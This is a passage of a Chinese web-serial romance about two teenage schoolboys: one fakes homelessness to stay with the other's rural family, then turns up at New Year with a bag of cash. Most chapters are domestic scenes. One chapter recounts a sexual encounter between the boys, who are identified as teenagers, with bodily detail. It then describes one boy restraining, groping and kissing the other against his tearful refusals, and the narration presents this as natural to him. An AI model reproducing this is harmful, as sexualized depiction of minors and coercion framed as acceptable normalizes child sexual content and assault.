倒是王建民理解了，爽朗地哈哈大笑，又把自己的馒头分给他半个：“十几岁的年龄，正是长身体的时候，要是李华有你这饭量就好了，你们没听说吗，半大小子，吃死老子，我在你这个年龄的时候，能喝七碗面条，这么大的碗。”
他比划着，引起郑源的兴趣：“真的假的？”
“当然是真的。”李建民说。
郑源说：“我也可能是饿的。”这句话倒不假，为了装的更逼真，他真实打实的饿了好几天，每天就喝点水，嚼点饼干，怕吃的太好没有面黄肌瘦的狼狈沧桑模样。
李华没再说。
晚上做作业，郑源闲的无聊，看着他的背影，偷偷翻出来他以前写的数学卷子，给他叠了一床的小船。还翻到了他以前的日记本，更准确地说是试卷分数记录本。上面就写了几行。
第一行：考了一百分。
字数工整，一笔一划。
第二行：考了一百分。
第三行：一百分。
第四行：一百。
第五行：同上。
第六行：一百。
第七行：还是一百。
第八行：什么时候考到99分再记。
后面就没了。
估计是没考到99过。
郑源啧啧两声，把这个本揣在怀里，准备偷走。
院子里突然传来骚动。紧接着是李华父母开门的声音。李华扭头，站了起来。郑源也抬起头。他看李华一眼，站起来压了压手，说：“你写吧，我出去看看。”
李华怎么肯，跟着他出来了。
只见李建民和王淑梅裹着衣服跟门外的人说着什么，郑源往前走了两步，顿住。
门外的人看见他，笑了一下，说了声谢谢就离开了。
“怎么了？”李华看到郑源的脸色变差，往前走，郑源转身挡着他的视线，拉着他的胳膊把他往家推：“没事。”
“问路的。”李建民说：“快回去吧，冷得很这天。”
李华这才放下心，但他多看了眼郑源。
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两个人回到卧室，李华的目光才注意到一床的小船，无语地掐着腰：“你无不无聊。”
“无聊啊，嘿嘿。”郑源举着小船让他看：“不然我能叠这么多，怎么样，标志吧。”
“幸亏是考过的卷子。”李华说，“你敢用我学习的卷子你试试。”
“我又不傻。”郑源撇嘴，“你还要学啊？”
“嗯。”李华说：“剩一点了，你困了先睡。”
“我不睡，你不用管我。”郑源说：“你去写吧，我再叠两个。”
李华背对他。郑源抖了两下腿，抿了抿唇，张了张嘴。
等李华伸个懒腰，收拾完回头，发现卧室里没人，床上干干净净，他皱了下眉，开门出去找，发现都没有。他的动静很轻，开灯的光还是吵醒了父母，他们出来问他怎么了，李华说：“爸妈，你们见郑源了吗？”
“那个小同学？没有啊。”李建民说，“他怎么了？不见了？”
“没事。应该去厕所了。”李华说。这是他人生中撒的第一个谎。或许也不是。
他回到卧室，坐在床上，摸出手机，舔了舔唇。
他又不见了，他该上哪儿找他呢？
算了，找他干什么，莫名其妙。
他撸起袖子看自己胳膊上的伤疤，隐晦，但真实存在。
他也是够傻的，对他这么上心。
走了更好，走了就没人跟他挤一张床，还天天吃他家的饭了。
真烦人。
李华躺在床上，裹紧被子，背对门。仿佛下一秒就会有人进来。
寒冷的冬夜。
车里的气温很高，让郑源感到热。他烦躁地脱掉上衣，换了管家带来的衣服，合身，舒适，妥帖，也名贵。
郑源将李建民的衣服扔在脚边，又捡起来，旁边响起打火机的声音。
点烟的女人隐回身后。郑玉安闭着眼出了口烟，“电话不接，短信不回，就留一句开学见，跑到这穷乡僻壤玩你的过家家，你忘了你姓什么？”
“我姓郑，行了吗？”郑源说：“你说了不会干涉我。”
“我不干涉你，不代表纵容你任性。”郑玉安掀开眼皮看他，懒洋洋的，透露着轻蔑和危险，“你出事儿谁承担？暗恋的小同学？”
“他叫李华。”郑源说。
“我管他是什么阿猫阿狗。”他应酬上下来的，听到手底下人汇报说找到郑源踪迹的时候几乎是一刻不停地直接冲来找人，他没当着他们的面把他抓回来已经给足了面子。
“我不希望你告诉我我给你的自由是种错误的做法。”郑玉安说，“要么，你跟我回家，要么，我让人把他抓上车，你们两个都跟我回去。”
郑源差点跳起来：“你要为难他我跟你没完！！！”
郑玉安垂眸抽了口烟，扯起嘴角笑了笑。
“你才多大，他才多大，用得着我为难。”他挥挥手，身后的女人往前倾了倾，柔软的双手放在他的肩上给他按摩，他说：“别跟我闹脾气，我已经很累了。”
说完，郑源的身后竟然也出现了一个女人，双手搭在他的肩上。郑源吓了一跳：“别碰我。”
“按摩而已。”郑玉安略带嘲讽，嘲笑他的大惊小怪，“这些天受苦了，看你身上脏的，人都瘦了。好好的小少爷不当，非来这地方当傻子，无论为了什么，做到这个地步，我不会责怪你。”
郑源撇了撇嘴，半信半疑地靠回去，女人有眼色地给他敲肩。
“你全都知道啊。”他丧气地说。
“不多。”郑玉安说，将烟摁灭，“好了，别不开心了，知道拆散你们让你心里不舒服，年前没机会了，年后有一场冬令营，你带上他，玩一玩。”
“不要。”郑源皱眉，“冬令营里面都是一群什么玩意儿，不是来玩的，是来攀比的。”
郑玉安笑了笑，“有几个领导的孩子参与。”
“你直接给不就好了，非找我干什么。”郑源烦得很，“我是你的手下啊？天天利用我。”
“别说利用，这么难听。”郑玉安说，“跟他们打好关系对你也有用。我被人盯着，很多事情没法亲自办，你帮我跑一跑，好处少不了。”
“我有钱吗？”郑源突然问。
郑玉安睁开眼看他，“我平时给你的不够花？”
“一码归一码。”郑源说：“帮人办事没有跑腿费？”
郑玉安笑起来，发自内心的，“有。”
“多少？”
“你要多少？”
“我要多少给多少？”
“这个数以下。”郑玉安做了个手势，郑源瞬间答应，“成交。”
64.第 67 章
李华翻来覆去后还是下床找郑源。他不想吵醒父母，只能摸到以前的手电筒。电池受潮，有点接触不良。他放在手上磕了磕，裹紧衣服，对着手掌哈了口气，出了家门。漆黑的夜，他的直觉是郑源不会平白无故消失，加上他看到问路人的脸色，李华很敏锐地察觉到或许是他的家人来接他了。因为他推着自己回去的力气很大，仿佛怕他被人看到。然后他就消失了。但他又担心，担心郑源真在这人生地不熟的地方走丢，天太冷，万一把人冻傻了。
无果。
他找到天快亮，实在撑不住了，村子都让他摸过来了一遍。他只得回了家。身体被冻透，躺在床上他就烧到昏迷不醒。
郑源回去后也没过几天安生日子。先前是舍不得李华，在别墅里闹脾气，扔的扔摔的摔，后又被郑玉安强制性带到射击场去复习射击。射击他六年级就已经学过了，郑玉安说这次冬令营可能会用到，让他再来练练手，除此之外还有什么野外防身必备课，上的他头皮发麻。
好在年前的时间少，忍忍也就过去了。只是想李华，又不敢找他，不知道怎么找他，之前的手机号注销了，就为了克制住自己，也为了做戏做全套，这下好了，他原本想着从一个傻子，到慢慢恢复正常，两个人之间的关系有所缓和，正好可以达到傅一青说改变印象的目的，结果他还没待两天就被带走了，更别提还没和他告别。
可是怎么告别，说他家里人来找他？算了吧，反正李华讨厌他，他走了不正好么，如他的意了。
郑源闷闷地想，李华才不会在意他，他烦自己烦得要死，自己不去打扰他就已经是最好的了。
临近圣诞节那天，下起了小雪。
这是今年来的第一场雪，郑源伸手接过雪花，看它在掌心里慢慢融化，突然再也遏制不住冲动，快速拿出手机拍下眼前的照片。
-下雪了，李华。
他将照片发过去，以陌生人的身份，也没有说自己是谁，也没寄希望回复。
晚上跟郑玉安吃了顿饭，见到了他身边的女人，还带个女孩儿。
女孩儿对他们都充满敌意，阴沉着一张脸，一句话都不说。
郑玉安身边坐的女人倒珠圆玉润，就是很拘谨，神情也很克制，像是有些怕，又有些抗拒，很不自然。郑玉安的手搭在她身后的倚靠给她夹菜，还互相介绍了一下，让郑源喊女人叔母。女人的神情很尴尬和不适，但什么都没说。郑源挑着眉嗓门很大的喊了声，让小女孩儿非常厌恶地白了他一眼。
“过年回不回家？”郑玉安问他。
“不回。”郑源说。
过年无非就是回去参加家宴，后有接连不断的聚会，热闹且麻烦，应酬不完的局，见不完的人，吃不完的饭，想起来就烦。
“长辈我替你拦。”郑玉安说，“爷爷奶奶你还是得去见。”
郑源没异议，虽然他连爷爷奶奶也不想见。
他对这边的亲人除了郑玉安以外，没一个有感情的。
“还有一件事。”郑玉安说，“小荷和你一起参加冬令营。”
郑源皮笑肉不笑地勾了下唇，没说话。
如果忽略郑玉安身边坐的女人不是他强取豪夺来的，这小荷又是这女人的女儿，郑源或许真不会排斥带这个比自己小几岁的妹妹。
“你有没有搞错。”
刚把俩人送回家，他就忍不住吐槽郑玉安：“你看到她闺女看我那眼神了吗？你还让我带她？”
“没事。”郑玉安很坦然，“她更恨我。”
他拍拍郑源的肩，“我和你婶婶有正事要办，她太碍事了。”
郑源无语。
他也不是那么纯洁，但也只是一知半解，半懂半不懂，懵懵懂懂。郑玉安没把他当小孩儿看待。他的观点，是孩子会犯错，却因无知而不忍苛责。所以当他把郑源当大人看待，就不能犯明知故犯的错，不然就要承担后果。
虽然郑源还是郁闷和不情愿，但在郑玉安的加价下也最终点头同意。
手机在侧兜震动，他靠着车座看窗外的夜景，慢条斯理地拿出来，看到未知号码的短信，瞬间坐直了。
同样是一张雪景的照片，照的是披上了雪装的田地。
除此之外一句话都没有。
郑源激动的要命。
他鼓足勇气，跃跃欲试，直到车停稳，才一口气冲到家里，躺在床上打滚，拨了过去。
电话响了很久都没人接，郑源撇嘴，正准备挂断，却又接了。
“李、李华……”他喉咙干哑，问道：“你……你还记得我吗？”
这是个好傻的问题。李华没说话，他将手机放在一旁，起身去倒了洗脚水，又擦了擦手，才坐回床边，拿起手机看到电话没挂断，才问：“你说什么？”
郑源卡了下壳，刚才的紧张因为沉默缓解了些，却比刚才更局促了：“我是郑源。”
“我知道。”李华说。
天太冷了，他披着衣服靠在床头，被窝里塞了热水袋，暖烘烘的。他很轻微的抽了下鼻子。郑源默默地听着他的动静，心里暖暖的，也痒痒的，“你感冒了？”他关心的问。
“没有。”李华说。他看眼通话时间，短短几句话竟已经五分钟了，他说：“你有事吗？”
郑源扭捏起来，声音也不自然了：“你想不想我……”
李华有一瞬间的头皮发麻，他皱着眉看眼电话，把电话拿远点，“想你干什么。”
郑源被噎住：“想我跟我玩啊……”
他的脸红红的，颇是一副少男怀春的娇羞模样，不由自主娇滴滴的：“李华……”
李华把电话撂开。
他掀开被子，检查热水袋，感觉热水袋都不热了，凉飕飕的。让他有点烦躁，他重新灌了热水，拿回电话，郑源竟然还没挂，正在坚持不懈地：喂喂喂。
李华没好气地说：“耍我有意思吗？”
郑源一愣：“我没。”
“我没耍你啊。”他急忙解释，突然心虚，一时不知道他说的耍是指哪个事，是自己装傻被发现了？他哽了一下，小心翼翼地问：“你、你生气了？”
不问还好，一问李华更无法忍了，他说：“闲的太无聊就学习去吧你。”
嘟的一声，电话就挂了。
郑源：“我操。”
电话挂断，李华觉得全身舒畅了，他深吸一口气，自然而然地睡着了。
第二天，李建民和王淑梅对视一眼，等吃完饭，李华进了卧室，两个人才边走边聊天似的说：“儿子终于开心点了。”
“小华哪儿都好，就是心里藏事儿，问他什么都不说。”
“也不知道他在离家那么远的学校有没有交到好朋友啊？”
“反
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正村里是肯定没有，我说让他出去找那几个同岁的孩子玩，可把他难为的，蹲家门口一下午也不愿过去。”
“太内向啦，就那什么小郑同学在这儿的时候还好一点。”
“不是，我真觉得那小同学看起来有点眼熟，好像在哪儿见过，怎么就想不起来了。”
“你能记住个啥。”
另一边的小郑同学绞尽脑汁。
-你怎么了？
-我没伤害你啊。
-李华？？？回话？？？
-理理我呗。
-不是，你这么，搞的我毛毛的。
-我还想邀请你跟我去冬令营呢。
-冬令营你知道吗？可好玩了，跟我一起呗？
-苍天啊，大地啊，谁能告诉我李华同学怎么了啊！！！
李华拿起手机，回复。
-你不傻了？
郑源瞬间如临大敌，拿出已经准备好的说辞。
-我那时候是创伤应激后遗症，现在已经好了。
李华冷笑一声，根本不信，过了片刻，又将信将疑。
-你家里人为什么打你？
郑源回。
-因为我不听话。
那如果是这个理由的话就太正常了，按照郑源的行事作风不被打已经是奇迹。
-那你以后听点话。
李华说。
-不要总惹人生气。
郑源委屈。
-那我也不是故意的啊，谁知道他们那么容易就生气了，就是喜欢生气。
李华说。
-不可能什么都是别人的错。
郑源说。
-那反正我没错。
李华：……
都给李华气笑了。
他放下手机，又拿起来。
-随你。
郑源兴奋。
-随我？随我过来跟我一起参加冬令营？
李华立即反对。
-想得美。
郑源可怜兮兮的。
-求求你，我求求你跟我一起，我都求求你了还不行吗？你说你怎么样才能和我一起，我不想自己参与，我不要一个人啊。
李华说。
-不要一个人你去找别人，找我干什么，我不去。
郑源说。
-我就想跟你一起去，你这个人怎么这么狠心，你快跟我一起，不然我就去找你。
李华说。
-正好，你在我们家的那几天，五块钱的澡票，二十块钱的饭、菜和馍，总共25块钱。
郑源：……
郑源没忍住，一个电话打过去：“对不起。”
他说，迅速骂起来：“李华你他妈二十五块钱你也跟我算，你他妈要死啊，我他妈不就多吃了点，不是你他妈——”
李华直接挂断电话。
片刻后，他看着数学题，突然笑了起来，笑的眼泪都出来。
手机一直传来震动，郑源还在无能狂怒。
-李华我******************************！！！！！！！！！！
-啊啊啊啊啊啊气死我了！！！！！！！！*************！！！！！！！！！***！！！****！！！！**！！！！！！*！*！*！！！！！！！！！
65.第 68 章
圣诞节那天郑源又没忍住给李华打电话。虽然李华说他要写作业，还要帮忙布置家里，毕竟农村还是很注重过年的，提前半个月就开始准备了，但郑源闲的没事儿啊，快过年了街上张灯结彩，连管家和司机胡建国都按耐不住想回家，越发显得郑源这儿冷清。连郑玉安都找他抢来的女人和孩子过一家三口的日子去了，郑源又哪儿的人群都不想待，感觉无论去哪儿都跟夹脚似的尴尬又突兀，只能让手底下的人都放了假，自己缩在客厅看电视。
李建民这次斥巨资买了半个猪头回来，做猪头肉，还备了两条草鱼，一只鸡，半只鸭，几个鹅腿，比起往年来简直丰盛的没边了。王淑梅还炸了丸子，有荤有素，还替李建民备了酒和烟。
“李华他舅什么时候回来？”李建民问。
“快了吧。”王淑梅备着面说：“上午给他打电话他说就这两天，也不知道今年能不能带个婆娘回来……今年都谁来啊？”
两个人算着人，又感慨道时间过得真快，那谁家的小孩儿又长大了，谁又生娃了，压岁钱又得多给一份了，说着，王淑梅揶揄起来：“我不是跟你说过她看不起我，还重男轻女，自己生个闺女，看我生个男孩儿，嫉妒的要命……”
说起这个，她突然一顿，说：“哎呀，我还没老呢，这记性怎么就这么差了，今儿得带李华去县里买新衣裳呢，就剩几天了，再不去商场都关门了。”
“怎么去啊你们，现在去啊？”李建民正拔猪毛，擦擦手说：“我送你们啊。”
“你给我们送到那个停车点那儿，我们坐公交去，早去早回，不然天都黑了。”王淑梅说：“我去喊李华，你快儿点啊。”
李华正屋里写作业，被王淑梅喊出来了，一听是要去买新衣服，腼腆地笑出来了，他连忙拿着智能机，郑源的电话就是这个时候打来的。
他挂了，他又打，他又挂，他还打，李华没办法了摁了接听，严肃道：“你干嘛呀。”
郑源没精打采地翻着电视，“你干嘛呢？吃饭了没？”
“没呢，准备去县城买新衣服。”李华开心的说。
“我也要去！”郑源想都不想，鬼哭狼嚎：“我也要去我也要去我也要去啊……”
李华买新衣服，他也要去……
李华说：“想着吧你，不说了，挂了啊。”
电话挂断，郑源看着电视，越发觉得没意思，他在沙发上翻来覆去，最终抬起头，面露凶光。
今年的冬天格外冷。李华裹的很严实，尽管他身形瘦削，也裹的像个小炮弹。就露一张白白的、清清秀秀的脸。他和王淑梅坐在三轮车后的小马扎上，李建民带着包耳帽、黑皮的厚棉手套和护膝，带着他们母子二人去乘车点。现在村里生活比以前强太多，不然就得李建民带着他们跑几十里去县里。现在有村村通，通水通电还通路，几乎每个村都分包了乘车点，有公交车定时定点来，一天三趟，早中晚各一趟，一趟五块钱，中途随时停车下人上人，直达县中心。
她们赶的巧，正好是中午头。到的时候已经有七八个人在等了，还有两个女人跟王淑梅面熟，也都是带着孩子，热络几句才知道是一个厂的，打过几次照面。李华安静地站着，其中一个女人还塞他手里一把喜糖。李华带着手套，有些老旧的款式，上面还起着毛毛，他咧开嘴笑了，将喜糖塞进兜里。
“你叫啥？”
上了车，孩子们坐一起。两个女人的孩子都比他小，小个三四岁的样子，瞪着眼问他：“你叫啥？”
“李华。”
孩子们互相做了介绍，很快被车窗外的风景吸引，到处都挂着红灯笼，贴着红红火火的对联和窗花，越接近县城越能感受到过年的气氛，大音响放着好日子，路上好多人。前两天下了雪，地上还见着白，路两边还有被乌黑的雪团，汽车缓慢的行驶着，路上的行人提着大包小包，个别孩子手里还捏着冰糖葫芦，焦黄色的糖块儿在冬阳下闪着光，大家喜气洋洋，说出的话都带着哈气飘散在空中。
叠个千纸鹤再系个红飘带，愿善良的人们天天好运来，你勤劳生活美你健康春常在，
你一生的忙碌为了笑逐颜开，打个中国结请春风剪个彩，愿祖国的日月年年好运来，
你凤舞太平年你龙腾新时代，你幸福的家园迎来百花盛开。
“鞭炮、烟花、鞭炮、烟花、卖鞭炮、卖烟花。”
下了车，他们便跟对方分开了，不远处站了一圈人，李华跟着王淑梅来凑热闹。是一处卖鞭炮的小摊前，有个看起来面带坏笑的男人说：“你这炮响不响啊？”
摊主说：“响啊，肯定响啊。”
男人说：“我要这个。”
他掏了钱，拿出打火机，说：“来来来，放个炮。”
不少男女老少围过来，男人将炮放在地上，点燃，连忙跑掉，震耳欲聋的炮声吓得人乱窜，有人笑有人骂，还有人踹，最终都亲近地说：“新年快乐啊。”
“新年快乐！”
“新年快乐！”
李华也吓了一跳，他的心却跟着抛在了空中下不来，连带着嘴角，他太喜欢这种热闹又欢乐洋洋的氛围了。
王淑梅也笑骂两句，领着李华进了商场。
虽然镇上也能买，但毕竟是过年，何况今年的日子对他们而言真算是好日子了，没有往年那么艰辛。这点李华也微微有察觉。一种一切都会苦尽甘来的美好祝愿隐埋在他心底。王淑梅给他挑了件红色的暗花羽绒服，衬得他整个人白里透红，眼睛发亮，漂亮的不行。导购嘴甜地说：“姐啊你这儿子长的真俏啊。”
王淑梅看着心里也喜欢。眼尾弯的跟钩子似的下不来。商场人多的不行，人挤人，一个挨一个，有其他看衣服的人听到这话也顺来一眼，夸赞道：“是漂亮哈。”
“小男孩儿小女孩儿啊？”有人调侃。
“男孩儿。”李华脸红红地说，羞怯的不行，虽然他看着镜子里的自己也挺好看的。他不敢抬头，慌不择路地要脱掉，王淑梅摁着他的手：“多少钱？”
“三百八。”导购笑眯眯说：“能打折，姐，八折呢，打完才三百，就剩这最后一件了。”
“三百多？！”王淑梅惊叫，脸色瞬间有些不好看了，尴尬地笑笑，她这次出来就才带三百多块钱，还想着给李建民也买一件。
真不是
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她扣啊，要硬掏也不是掏不起，但是实在是有点超出了她的消费能力，一件衣服三百多……他们一家一个月的生活费才多少钱，虽然是羽绒的吧，虽然李华穿上是挺好看的……李华根本不用她做选择，非常懂事儿体贴地快速脱了下来，小心翼翼地放在一旁，说：“妈，我不喜欢。”
他说的很坦然，仿佛真的不喜欢：“穿上人家都看不出我是男是女。”
孩子都这么说了，大人自然也不好再说什么，王淑梅便笑笑带他去其他地方。
导购看着她们的背影意味不明地笑了一声，将衣服挂起来。
“现在的衣服这么贵了。”王淑梅有些忐忑地说，她刚才也是被气氛冲昏了头脑，怎么就没看标价呢，这下好了，孩子心里肯定不开心了，但是李华应该不是那种注重外在条件的孩子，他非常质朴。只是她这当妈的心里不舒服啊，见过孩子穿好的，再看他穿那便宜的，心里怎么都不是味儿，要不还是说一分价钱一分货呢。
唉。她不由自主地长叹一声。握了握李华的手，她真不敢想要是李华就瞪着眼可怜巴巴地说要那件衣服她怎么办，好在的是李华懂事，也亏得是他懂事，她王淑梅怎么就有个这么好的儿子。她心里又酸又甜的，又给李华选了两件，李华却都不喜欢。王淑梅问他喜欢哪个？他指着犄角旮旯的架子上说，“那个就行。”
也是一件红的，不过是外套，又薄料子又不好，打完折才六十多块钱，还不是棉的。王淑梅不喜欢，皱着眉说不行，不要，这跟白扔六十块钱有什么区别，但是李华说挺好的。因为他觉得价钱非常合适，至于衣服，什么料，又穿上什么样，他觉得在价钱面前都可以往后放一放。
兜里传来震动，又是郑源。李华不想接，架不住他一直打。他真后悔把智能机带出来。他松开母亲的手去角落，问：“你又干嘛？”
郑源说：“你在哪儿呢？”
不知道是不是他的错觉，他竟然也听到了好运来。
“我在商场啊。”
“我知道啊，县里的商场，你在商场哪儿呢？”
李华说：“卖衣服这里。”
说完他吃惊了，“不……你该不会是……来了吧？”
“对啊。”郑源捂着耳朵，嫌那首好运来聒噪，骂道，“操了，你他妈再踩我砍死你。”
李华啧了一声。郑源说：“诶我好像看见了！”
“看见什么了？”
“看见你了！”郑源兴奋极了，也没挂电话，拨开重重人群，硬是挤到他跟前，身上都热的冒汗了，眼神亮的不行，背个包站在李华面前，看着他目瞪口呆的模样：“靠了，我们家的司机回家过年去了，让我找了个跑长途的，这一路给我颠簸的，好在是来县里，还算近的。”
他深深的吸了口气，“我来找你过年了，李华。”
他将背包打开，里面全是崭新的百元大钞，整整一背包，李华的眼珠子都要掉出来了，张着嘴，看看他，看看包：“你……”
“不用再找我要那25块钱了，我带着钱过来找你过年了。”
郑源笑起来，露着一口大白牙。
“够吗？”
66.第 70 章
第二天，李华清醒过来，郑源还在身边睡。他猛然坐起，被子从身上滑落，他低头，看到自己身上深深浅浅的痕迹，昨晚的一幕幕在脑海里回放，全是郑源给他亲的，吸的，咬的，啃的。他像是把自己当成了狗最爱不释手的骨头，沾满口水和牙印，一个劲儿的嗦，一个劲儿的舔，一个劲儿的弄，怎么都不嫌烦。李华的手开始发抖，他不知道自己干了什么，腿间的黏腻感不见了，令人颤栗的难言欲望也消失的无影无踪，只留下头脑发昏的他接受冷风。
他如遭雷击，郑源还在一旁睡的舒坦，胳膊搭在他的腰间，睡时是很强硬的搂抱姿态，现在嘴角还噙着笑，不知道做了什么美梦。李华恐惧又愤怒，掀开两人的被子，拼命把他推下床，带踹。郑源滚在地上翻了个身。他还光着身子，掉地上的瞬间冻醒了，砸醒了，疼醒了。皮肉挨着冷硬结实的水泥地，让他瞬间爬起来跳了两下，赤脚站在地上，冷的不行。
他浑身赤裸，看着李华，跨上床抱住被子，眼睛亮亮的，声音还有没睡醒的沙哑：“你醒啦？”
他完全不觉得有何不妥，长胳膊一揽，还想抱他。
“滚！！！”李华猛然推他，眼眶都气红了。他要郑源滚，滚出他的卧室，他的视线，他的家。
郑源看出来了，他太熟悉李华这种仇恨的眼神了，自己在他心里简直十恶不赦。他不理解，“你没爽吗？”
他爽了啊，爽的忘乎所以了好吧。
或许他们还无法更精准地理解爽这个词，但是□□与□□相贴，在寒冷的冬天，温热的体温，略带力气的抚摸和亲吻，从未感受过的刺激，直至最后无师自通的□□，尽管量少、时间也短，但那一瞬间释放的舒畅快感的确让李华无所适从后前所未有的安逸与痛快，仿佛所有的事情都被抛之脑后，中毒了一样。
戳中李华的心事，郑源很快心安理得起来，他觉得这是正常的。可李华无法接受。他无法接受那样沉醉在郑源手里甚至是怀里的自己，更无法接受郑源说的都是对的，是能光明正大直接拆穿他的！他的不堪、懦弱、与贪婪。
他应该早一点，早一点，推开他，拒绝他，严肃又狠绝，哪怕被威胁，被发现，可是他没有，他什么都没有，他干了什么？
他求他轻一点。
李华痛苦的抱着脑袋。他始终绕不过这个弯。他知道这是不对的，可是他……他明知郑源都做过什么的，可是他……
他无法原谅自己。他无法接受郑源。
他说：“你走吧，算我求求你，你走吧。”
他想哭，却哭不出来。
只感到眼眶干涩。
郑源百思不得其解，但耐着性子，试图拉他的手，被他躲开，说：“别呀。别赶我走啊，我这，我刚睡醒，我都不知道发生了什么，你跟我说说呗？我来一趟多不容易啊，你别赶我走啊。”
李华避开他的眼神和触碰，仿佛目光也有实质，扫的他羞愧，他说：“我不想看见你，你快走吧。”
趁他的东西都还没送到，赶快回家去吧。
郑源说：“我不走。”他有些急了：“我是来找你过年的，我不走。”
“你这人怎么这样啊？”李华也急了，“你听不懂人话吗？我不想看见你啊，你赶快走啊，快走啊。”
“我做错什么了吗？不想看到我。”一大早听喜欢的人这么说，郑源满满一颗跳动的心脏浇了冷水，难受的不行，“我怎么做什么都不对啊？”
他还是忍了，说：“你别赶我走，李华，我好不容易来的。”
李华说：“不是我让你来的。”
郑源一顿，这话就太伤人了。
他几乎反唇相讥，“是，是我自愿来的，是我犯贱，是我乐意来的，怎么样？”
他沉默的翻身下床，快速的穿了衣裳。看着李华勾着头不看他的模样，怒从心起，再也克制不住，一脚踹翻椅子。
“你干嘛？！”李华起身拦他：“你不要碰我的东西！”
“我就碰！”郑源说：“我就碰！”
他说：“你就不能说你怎么了吗？为什么不开心吗？张嘴闭嘴就是赶人，我他妈就那么下贱吗？！”
要他妈不是喜欢你，谁他妈费这么大劲找你啊！郑源怒，也委屈，偏偏李华八竿子打不出一个响屁，却反驳的、回怼的很伤人：“是我让你来的吗？是我没跟你说不让你来吗？”
他看着郑源的眼：“我说了你就会听吗？那我现在让你走，你走啊。”
两个人四目相对，郑源可笑至极的摇摇头：“我不走，李华。”
他一字一顿，看着李华崩溃的神情和模样，声音都低了：“我他妈是你的狗吗？让你召之即来挥之即去？我他妈什么时候受过这种窝囊气？”
“我不会走的。”他又重复一遍。将椅子扶起来，坐在椅子上，耗到底了。
李华忍不住伸手拽他，郑源佛开他的手，李华又拽，郑源干脆把他从床上扯起来抱到自己怀里禁锢着，李华瞬间像只受惊的猫，慌不择路。郑源的本意只是想下意识制止他的行动，但又软又嫩的、温热的触感塞到怀里了，他又条件反射似的舔上去了，气都忘了生。
不怪他，都怪李华太白了，也太好看了，他就那么自然地勾着头咬他的脖子，也有点报复和惩罚的意思。吓的李华一僵，又猛地甩他一巴掌。
扇脸是最近的距离。
郑源阴鸷地盯着他，看到他眼里的抗拒和害怕，不怕死的又凑过去亲，李华又惊又怕，奋起反抗，两个人肉搏到床上去，郑源仗着身高、体重优势压着他，捏他身上的肉，哪儿都捏，哪儿敏感捏哪儿，捏的李华直蹬腿。
他在郑源手里没有一点还击的能力，郑源一点一点捏碎的，全是他的尊严。
李华不动了。
郑源把他的□□和□□都掐疼了，他心如死灰了。
门外传来响动，郑源松开了他。李华把自己裹紧被子里，哭了，他哭着说：“你不要摸我、不要亲我、不要舔我……”声音闷闷的，生怕人听到，还小小的。
郑源说：“为什么。”
他反应过来，是因为这个不开心了，想赶自己走吗？
他冷笑一声，“你想得美。”
他丝毫不觉得这么做有什么不妥，他甚至觉得这是应该的，是天经地义、理所应当的。
他扒出来李华的脸，看他哭的梨花带雨，不敢发出声音，眼泪一直流，鼻腔也紧缩，泪眼朦胧的，郑源抓着他的头发，专门、故意对着他的嘴狠狠亲了一口，发出很大的一声，亲了一嘴眼泪，咸咸的。
他松开李华，李华跌在床上，目光呆滞地看着屋顶，一动不动，好似绝望了。
李建民对郑源的印象还停留在，越看越熟悉，但是想不起来在哪儿见
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过。他和王淑梅对孩子的态度都比较友好和亲切，所以在他们看来，这个姓郑的小同学虽然有点神出鬼没，好似也有点神秘，毕竟上次见还破衣烂衫，这次就矜贵的多，那随意放在沙发上的羊毛大衣好像他们偷来的，但对他是真不错。毕竟长得好、个子高、条也顺、还懂礼貌，很难不留好感。
上午的时候两个小孩儿分明闹别扭了，李华看起来红鼻子了，郑源则是冷着一张脸。他比王淑梅和李华都高，虽然离李建民还有一定距离，但跟李华比起来，已经绰绰有余，更像个大孩子了。王淑梅在吃饭时夸他，最主要是表达了对李华的愧疚和怜悯之情，看看俩小孩儿站一块儿，差的太多了，自己儿子跟豆芽菜似的。
郑源说：“在学校我总想和他一起吃饭，他都不愿意。”
王淑梅说：“你和小华谁大呀？”
“我大。”郑源说。
王淑梅心里稍微平衡了点。
“你们在学校交到好朋友了吗？没人欺负你们吧？”她关切地问。
郑源看了李华一眼，当着他父母的面，大大方方地揽了一下李华的肩膀，“没有，李华很受老师喜欢，没有同学欺负他。”
王淑梅更欣慰了。
李华一直勾着头，他放下筷子，手里的饭几乎没动，“我吃饱了。”他说。
他吃不下去了。他感到窒息。
正说着，郑源的智能机响了。他看眼号码，出去打电话，站在院子里叉着腰。
“你这朋友，什么时候走？”李建民看着李华问，“马上过年了，不能一直留在咱们家吧？他父母呢？”
李华说不出话。
“没事儿吧？”李建民看着自己的儿子，敏锐地问。
他也是从半大小子过来的，当长辈、父母，看这样的小子肯定是喜欢的，但年轻个几十岁，真不好说。
话音刚落，有人进来。却是不认识的人，不止一个，身后还有一个，还有一个，很快把院子站满了，每个手上都提着东西。
“叔叔，阿姨。”郑源将无数礼品奉上，玲琅满目，那一箱箱好酒好烟更是瞩目。
“我爸妈都在国外，今年过年不回来，只有我自己，我跟他们说今年在同学家过年，这是他们的一点小心意，麻烦你们照顾我了。”
郑源笑起来，看向李华。
李华脸色煞白，“爸、妈……”
王淑梅和李建民互相看看，还是王淑梅先开口，说：“这不、这多不好意思啊。”她连忙站起来，“哎呦，都是一家人，那么客气干什么，人多过年当然好啊，热闹啊。”
郑源一直维持着礼貌地笑，李华的指尖抠着沙发。
得到长辈的允许，郑源很快让人把他的两个行李箱搬进了李华的卧室。
李华几乎要坐不住，他想要站起来制止。郑源打断他道：“叔叔阿姨，这些都放哪儿？堆着儿不太好看，挡着路了。”
李建民和王淑梅又对视一眼，还想谦让，郑源笑着说：“你们就收下吧，不然我爸妈不放心，我也不好意思留在这儿。”
他从容淡定地坐在李华身边，吃还没吃完的饭，夹还没到嘴的小菜，看着李华的爸妈忙前忙后。
李华浑身冰凉，他没有勇气，他不敢。
郑源堂而皇之地握住他的指尖，他往后躲、缩，没成功。郑源就这么握住他的手，喝完了一碗粥。
67.第 73 章
李华的爆发在郑源意料之外。他印象中的李华还是那个胆小懦弱又只会躲的小笨蛋。他怕，怕很多，怕他的父母和舅舅，怕他的学习下降，怕父母失望。但他的坚韧让郑源知道他不会轻易放弃抵抗。只是从不知，他还这么极端。
如果感情是种可控的东西，郑源比他更愿意亲手掐死喜欢的苗头，扼杀不成器的自己。他知道郑玉安说的是对的，霸权下没有得不到的东西。但是他做不到，他不忍心，也狠不下心。他忍着太阳穴的跳动，一点点捡起自己的东西，动了动唇，最终什么都没说。
深更半夜，郑源离开了。
